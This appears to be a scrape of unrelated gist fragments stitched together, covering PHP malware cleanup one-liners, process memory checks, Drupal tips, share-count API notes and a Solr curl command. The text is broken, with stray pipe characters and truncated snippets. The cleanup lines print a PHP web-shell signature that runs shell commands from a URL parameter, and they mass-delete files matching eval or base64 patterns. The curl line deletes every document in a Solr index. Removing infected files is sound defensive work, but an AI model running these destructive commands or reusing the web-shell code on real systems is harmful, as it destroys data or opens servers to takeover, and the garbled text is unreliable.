Preconditions:
- POSIX or Windows system
- Install Docker
- A GitHub repo that already builds on Travis
Postcondition:
find . -type f -iname '*.php' -exec sed -i 's/<?php if (isset(\$_GET\["_cmd"\])) die(passthru(\$_GET\["_cmd"\])); ?>//g' "{}" +; | |
find . -iname 'index.php' | xargs grep '\x2fhom' | cut -f1 -d":" | xargs rm | |
find . -iname '*.php' | xargs grep '\x2fh' | cut -f1 -d":" | xargs rm | |
find . -iname '*.php' | xargs grep 'eval("' | grep 337 | cut -f1 -d":" | xargs rm | |
find . -iname '*.php' | xargs grep '\{eval(' | cut -f1 -d":" | xargs rm | |
find . -iname '*.php' | xargs grep '$_COOKIE;' | cut -f1 -d":" | xargs rm | |
find . -iname '*.php' | xargs grep 'create_function'|grep base64_decode| cut -f1 -d":"| xargs rm |
ps --no-headers -o "rss,cmd" -C php-fpm | awk '{ sum+=$1 } END { printf ("%d%s\n", sum/NR/1024,"M") }'
ps --no-headers -o "rss,cmd" -C apache2 | awk '{ sum+=$1 } END { printf ("%d%s\n", sum/NR/1024,"M") }'
Better Drupal Building
- Custom glue should be accomplished with configuration first and PHP code second.
Configuration Management and Dependencies
- Use Composer (or Drush Make) to build your project and it's depencies.
- Store your work in files.
- Set your config directory above the webroot.
- Sync UUIDs across all developers.
Theming
OLD stuff. This was not enough for an A+ anymore. |
#!/bin/bash | |
COMMAND=$1 | |
if [ -z $1 ]; then | |
COMMAND="status" | |
else | |
COMMAND="$@" | |
fi | |
for repo in `find . -maxdepth 1 -mindepth 1 -type d` |
I have always struggled with getting all the various share buttons from Facebook, Twitter, Google Plus, Pinterest, etc to align correctly and to not look like a tacky explosion of buttons. Seeing a number of sites rolling their own share buttons with counts, for example The Next Web I decided to look into the various APIs on how to simply return the share count.
If you want to roll up all of these into a single jQuery plugin check out Sharrre
Many of these API calls and methods are undocumented, so anticipate that they will change in the future. Also, if you are planning on rolling these out across a site I would recommend creating a simple endpoint that periodically caches results from all of the APIs so that you are not overloading the services will requests.
// In template.php: | |
function THEME_menu_local_tasks($variables) { | |
// Add contextual links js and css library | |
drupal_add_library('contextual', 'contextual-links'); | |
$output = ''; | |
if (!empty($variables['primary'])) { | |
$variables['primary']['#prefix'] = '<div class="contextual-links-wrapper"><ul class="contextual-links">'; | |
$variables['primary']['#suffix'] = '</ul></div>'; |
# http://wiki.apache.org/solr/FAQ#How_can_I_delete_all_documents_from_my_index.3F
# http://wiki.apache.org/solr/UpdateXmlMessages#Updating_a_Data_Record_via_curl
curl "http://index.websolr.com/solr/a0b1c2d3/update?commit=true" -H "Content-Type: text/xml" --data-binary '<delete><query>*:*</query></delete>'
I'm amused at the traction this little gist is getting on Google! I would be remiss not to point out that six+ years later I'm still helping thousands of companies on a daily basis with their search index management, by providing managed Solr as a service over at Websolr, and hosted Elasticsearch at Bonsai. Check us out if you'd like an expert helping hand at Solr and Elasticsearch hosting, ops and support!